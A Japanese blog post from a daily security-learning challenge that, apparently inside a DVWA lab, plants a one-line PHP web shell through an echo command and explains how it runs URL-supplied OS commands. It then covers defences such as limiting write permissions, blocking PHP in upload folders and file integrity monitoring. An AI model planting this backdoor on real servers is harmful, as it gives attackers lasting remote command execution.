連日投稿32日目。昨日でDBの中まで見れた。今日はこの経路が対策された場合の「裏口(バックドア)」を仕掛ける。
今回の目的
こちらに従って進めております。
ここまでWebサーバーのシェルを奪い、データベースの情報まで抜き取ることに成功したが、その侵入経路(コマンドインジェクション脆弱性)を(開発者視点で)防いだ場合、さらにどういう脅威が予想されるかを考察した。単純にすぐイメージされるものはバックドアの設置だろう。
といわけで今回の目的は、バックドアって簡単に設置できるの??何をされている方なの?? を調べていきます。
具体的には、ブラウザのURLから好きなOSコマンドを実行できる、ごく簡単なWebシェルを作成する。
この連日投稿チャレンジについて
目的: セキュリティエンジニアとしての技術力向上
手段: シェルスクリプト作成を通じて学習
実施する事: 自動化,監視,ツール開発基礎学習
目次
実行結果
Webサーバー(DVWA)のルートディレクトリにbackdoor.php
を設置。ブラウザでDVWAにアクセスし、URLバーにOSコマンドを打つと、その結果が画面に表示されることを確認した。これでいつでも戻ってこれる。
お分かりいただけただろうか。
プレースホルダー(?)の後、cmd=
に続いて一般的なLinuxコマンドを打ち込めば、結果が表示されてしまう。
昨日までのようにわざわざリバースシェルを行う必要がなくなった。
ステップ
-
バックドアファイルの作成:
echo
コマンドとリダイレクション(>
)を使い、一行のPHPコードを書き込んだbackdoor.php
を作成する。 - 動作確認: ローカルPCのブラウザから、作成したバックドアにアクセスし、URLパラメータ経由でコマンドが実行できることを確認する。
気づき
バックドアってどうやって作りますの?そもそもバックドアって実態はなんなん?を調べ、とりあえずPHPのファイルを作ればいいのね~を確認したと同時に、ふと思った。
「そもそも、www-data
ユーザーでファイルなんて作れるんだっけ?」と。権限あります??
昨日まででだいぶ煮え湯飲まされてますよ権限のあれこれで。
まあパーミッションエラー起こす程度だけど、先に確認しておくことにした。
# /var/www/html/ に書き込み権限があるかテスト
$ touch /var/www/html/test.txt
# lsでファイルが作成されたか確認
$ ls -l /var/www/html/test.txt
-rw-r--r-- 1 www-data www-data 0 Sep 23 08:25 /var/www/html/test.txt
うん、いけそう。
コード全文
バックドアの作成に使用したコマンドはこれだけ。
え、簡単すぎんか....??
# Webサーバーのルートに、一行のPHPコードを書き込んだbackdoor.phpを作成する
$ echo "<?php system(\"$_GET[\\'cmd\\']\"); ?>" > /var/www/html/backdoor.php
コードの詳細な解説
この一行のコマンドは、シェルコマンドとPHPコードの2つの部分に分けられる。
シェルコマンド部分
-
echo "..."
:echo
は、指定された文字列(この場合はPHPコード)を標準出力に表示するコマンド。 -
>
: 出力リダイレクション演算子。echo
コマンドの出力を、指定されたファイルに書き込む。ファイルが存在しない場合は新規作成し、存在する場合は上書きする。 -
/var/www/html/backdoor.php
: 書き込み先のファイルパス。Webサーバーの公開ディレクトリに置くことで、ブラウザからアクセスできるようにしている。
PHPコード部分
-
<?php ... ?>
: このタグで囲まれた部分がPHPコードとしてサーバーに解釈される。 -
$_GET[\'cmd\']
:$_GET
は、URLのクエリパラメータ(?
以降の部分)を連想配列として格納するPHPのスーパーグローバル変数。[\'cmd\']
は、cmd
という名前のパラメータの値を取得することを意味する。例えば、backdoor.php?cmd=whoami
というURLにアクセスすると、whoami
という文字列が取得できる。 -
system(...)
: PHPの組み込み関数で、引数として渡された文字列をOSのコマンドとして実行し、その結果を出力する。
つまり、このコードは「URLのcmd
パラメータで受け取った文字列を、そのままサーバーのコマンドとして実行しろ」という命令になっている。
防御者の視点:この攻撃にどう対策するか
じゃあどうやって防御すれば良いかを考えてみる。「www-data
ユーザーからファイルの書き込み権限を奪えばいい」かと言えばそこまで単純な問題でもない。
一旦、書き込み権限が必要そうなものを洗い出す。
- 画像・ファイルのアップロード
- キャッシュファイルへの書きこみ
- ログファイルへの書き込み
さっと考えても、これらの正統な理由でアプリケーションがファイルへの書き込み権限を必要とする。
重要なの、「最小権限の原則」 と 「多層防御」 の考え方だそうな。
1. 書き込み権限を特定のディレクトリに限定する
これが最も重要な対策。www-data
ユーザーが書き込みできるのは、/var/www/html/uploads
のような、決められたディレクトリだけにすべき。Webサーバーのルート( /var/www/html
)に書き込み権限を与えるのは、非常に危険。
2. アップロードディレクトリでPHPの実行を無効化する
今回みたいに悪意のあるPHPファイルがアップロードされても、そのファイルを実行させなければ攻撃が成立しない。ApacheやNginxには本来の設定で、特定のディレクトリ(例:/uploads
)でのPHP実行を無効化する機能があるらしい。
Apacheの場合
/var/www/html/uploads
ディレクトリに、以下の内容で.htaccess
ファイルを設置する。
# このディレクトリ内の.phpファイルへのアクセスを全て拒否する
<Files "*.php">
Require all denied
</Files>
Nginxの場合
サイトの設定ファイルにlocation
ブロックを追記する。
server {
# ...
# /uploads/ ディレクトリ内の.phpファイルへのリクエストは403エラーを返す
location /uploads {
location ~ \.php$ {
return 403;
}
}
# ...
}
3. ファイル整合性監視(FIM)を導入する
これは明日のチャレンジ(Day33)でやってみる。サーバー上のファイルが新規作成されたり、変更されたりした際に、即座に管理者にアラートを飛ばす仕組み。これにより、万が一バックドアが設置されても、早期に発見できる。
4. Webアプリケーションファイアウォール(WAF)を導入する
URLのパラメータを監視し、「ls
」や「cat
」のようなOSコマンドらしき文字列が含まれていたら、そのリクエストをブロックする事もできるそうな。
まとめ
今日思ったのは、バックドアの設置って簡単すぎん...?だった。正直、ちょっと怖い。
どういう方法でこれらを予防できるのか。具体的には「書き込み権限の分離」や「アップロードディレクトリでのスクリプト実行無効化を今日は考えてみた。
明日は、今日自分が設置したこのバックドアを、防御側の視点からどうやって見つけ出すかを考えてみる。